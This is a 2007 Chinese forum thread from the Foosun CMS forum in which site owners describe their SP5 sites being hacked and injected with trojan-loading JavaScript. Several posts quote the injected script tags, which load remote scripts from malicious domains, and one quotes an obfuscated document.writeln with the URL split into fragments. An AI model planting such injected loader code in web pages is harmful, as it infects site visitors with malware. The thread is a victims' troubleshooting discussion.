最近有ＳＰ５被挂马和被黑的朋友进来交流下

个人空间 相册
组别:新手上路
性别:
生日:1900-1-1
来自:
积分:29
帖子:17
注册: 2007-04-06

2007-08-20 16:49 | 只看楼主

树型| 收藏| 小中大 1

最近刚用ＳＰ５做的一个网站．在前天被挂马．后台上不上去．用ＤＺ做的论坛也同时遭殃．

主要特征是在源码里发现一组这样的代码：

<script language=javascript src=http://guama.8888abc.cn/wangma/yun05.js></script>

如有和我一样遭遇的朋友进来交流下．同时也希望风讯的朋友费点心．找到一个好的解决方法！谢谢

wavz 最后编辑于 2007-08-20 17:01:48

GolBin 个人空间相册组别:注册会员性别: 生日:1900-1-1 来自: 积分:415 帖子:274 注册: 2006-10-26	2007-08-20 16:51 \| 树型\| 收藏\| 小中大 2 回复：最近用ＳＰ５被挂马和被黑的朋友进来交流下我的没被黑... 估计又是会员系统出的问题吧..

倚天快乐大使个人空间相册组别:贵宾性别: 生日:1983-2-17 来自:四川.成都积分:2965 帖子:2751 注册: 2004-10-31	2007-08-20 23:10 \| 树型\| 收藏\| 小中大 3 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下官方正在对这一问题进行排查，若有问题稍后发布补丁。倚天最后编辑于 2007-08-20 23:18:20 今天收藏了一个免费电影站，http://www.dadao123.com，感觉还不错，分享下

Greatwall 首席构架个人空间相册组别:新手上路性别: 生日:1900-1-1 来自:四川.成都积分:36 帖子:26 注册: 2006-09-23	2007-08-20 23:12 \| 树型\| 收藏\| 小中大 4 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下出现这情况的原因很多，不一定是程序问题~ 建议加强服务器安全设置。 Foosun专用全能3线空间：1G/380元 QQ 80044137

lovezjk520 个人空间相册组别:新手上路性别: 生日:1900-1-1 来自: 积分:49 帖子:26 注册: 2006-05-21	2007-08-21 01:16 \| 树型\| 收藏\| 小中大 5 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下风讯的上传漏洞太多了

天际流星天际流星个人空间相册组别:注册会员性别: 生日:1900-1-1 来自: 积分:192 帖子:141 注册: 2006-02-05	2007-08-21 08:57 \| 树型\| 收藏\| 小中大 6 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下和你一样遭殃了，被改了很多文件，而且代码还是加密以后放进去的:(

kamau 个人空间相册组别:新手上路性别: 来自: 积分:13 帖子:13 注册: 2007-05-16	2007-08-21 10:34 \| 树型\| 收藏\| 小中大 7 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下能不能提供一下你的网站安全日志，帮你分析一下。

个人空间 相册
组别:注册会员
性别:
生日:1900-1-1
来自:
积分:183
帖子:119
注册: 2006-03-27

2007-08-21 11:34 |

树型| 收藏| 小中大 8

回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下

newstar NewStar工作室个人空间相册组别:版主性别: 生日:1977-1-10 来自:中国冬枣之乡积分:633 帖子:462 注册: 2004-08-11	2007-08-21 11:42 \| 树型\| 收藏\| 小中大 9 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下我站中也　发现楼上　的代码　＾＆＾欢迎走近　中国冬枣之乡——沾化　http://www.zhanhua.gov.cn NewStar工作室　http://www.newzh.cn QQ：228770305 　风讯CMS　asp版交流群：11980260

AnyLore 个人空间相册组别:新手上路性别: 生日:1900-1-1 来自: 积分:66 帖子:54 注册: 2006-07-23	2007-08-21 11:50 \| 树型\| 收藏\| 小中大 10 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下数据采好生成HTM,再上传到网站,,,服务器上没有风讯的ASP的文件这样绝对安全

daywaiday 个人空间相册组别:新手上路性别: 来自: 积分:21 帖子:21 注册: 2007-08-03	2007-08-21 13:46 \| 树型\| 收藏\| 小中大 11 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下安全是安全，可是会员系统就不能用了，我前段时间设置了风讯的安全应该是没有问题的，帖子名为，风讯的安全设置

masanli 半只青蛙个人空间相册组别:注册会员性别: 生日:1900-1-1 来自: 积分:360 帖子:328 注册: 2007-03-30	2007-08-21 15:16 \| 树型\| 收藏\| 小中大 12 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下官方有解决办法了吗，现在后台上不去啊！ -------------------------------------我还活着，我还在折腾！

wavz 个人空间相册组别:新手上路性别: 生日:1900-1-1 来自: 积分:29 帖子:17 注册: 2007-04-06	2007-08-21 18:29 \| 只看楼主树型\| 收藏\| 小中大 13 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下应该不是会员系统的问题吧．

简单风

个人空间 相册
组别:管理员
性别:
生日:1978-5-5
来自:
积分:6477
帖子:5434
注册: 2002-02-19

2007-08-21 18:32 |

树型| 收藏| 小中大 14

回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下

目前官方正在调查,是程序问题，还是其他问题。一有结果,会立刻提供补丁的.

当然这样的问题.不光程序问题.也可能是其他问题.我们一定会查找程序的.

欢迎加入站长名录: www.open3w.com访问
招聘.net(c#)程序员.工作范围:项目开发及产品开发..工作地点:成都
believes oneself,believes others,believes foosun! 欢迎和我交流! QQ:655071(只限技术交流，不进行产品售前咨询和技术支持),MSN:ikoolls@gmail.com

个人空间 相册
组别:新手上路
性别:
来自:
积分:4
帖子:4
注册: 2007-08-21

2007-08-21 22:31 |

树型| 收藏| 小中大 15

回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下

后台登不上去了．出现可疑代码：src='http://www7.itsun.com/count.php?uuid=1769578&style=none'></script>

<script language='JavaScript' charset='gb2312' type='text/javascript' src='http://www7.itsun.com/count.php?uuid=1769578&style=none'></script>
<script language='JavaScript' charset='gb2312' type='text/javascript' src='http://www7.itsun.com/count.php?uuid=1769578&style=none'></script>
怎么解决？

wavz 个人空间相册组别:新手上路性别: 生日:1900-1-1 来自: 积分:29 帖子:17 注册: 2007-04-06	2007-08-22 22:23 \| 只看楼主树型\| 收藏\| 小中大 16 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下有没有解决办法啊！！！！！！！！！！！！１１１１

或者个人空间相册组别:新手上路性别: 来自: 积分:2 帖子:2 注册: 2007-08-24	2007-08-24 12:35 \| 树型\| 收藏\| 小中大 17 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下靠．一直用他们的都还不错．可是最近老被挂．而且老出现问题．害人不浅啊．本来想买他们程序的．现在看来算了．

zjszph 个人空间相册组别:注册会员性别: 生日:1900-1-1 来自: 积分:359 帖子:340 注册: 2007-04-12	2007-08-24 12:40 \| 树型\| 收藏\| 小中大 18 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下看我的关于解决filemanage.asp文件的帖子。急性肠胃炎了......

lololo 个人空间相册组别:新手上路性别: 来自: 积分:2 帖子:2 注册: 2007-08-25	2007-08-25 19:17 \| 树型\| 收藏\| 小中大 19 回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下别用风讯了．不安全．连安全都保证不了．还天天过来给他们送流量啊．傻

个人空间 相册
组别:新手上路
性别:
生日:1980-3-7
来自:山西省
积分:39
帖子:20
注册: 2007-03-07

2007-08-25 21:32 |

树型| 收藏| 小中大 20

回复：最近有ＳＰ５被挂马和被黑的朋友进来交流下

我的网站文件中的所有*.js文件中全部都加了下面这段代码.打开网站后,瑞星提示Trojan.DL.Win32.Delf.yul病毒,我把所有的*.js替换后最新的后才解决了问题.我都不清楚,这些代码是如何增加进去的.
document.writeln(' SRC="http://ww' + 'w.hc16' + '9.net/news' + '/shxw/2' + '007415/v' + 'ip.' + 'js"></SCR' + 'IPT>');

http://www.sxdaoh.cn
山西导航网

风讯官方论坛FoosunCMS交流区 Foosun4.x安装使用最近有ＳＰ５被挂马和被黑的朋友进来交流下

标题: 最近有ＳＰ５被挂马和被黑的朋友进来交流下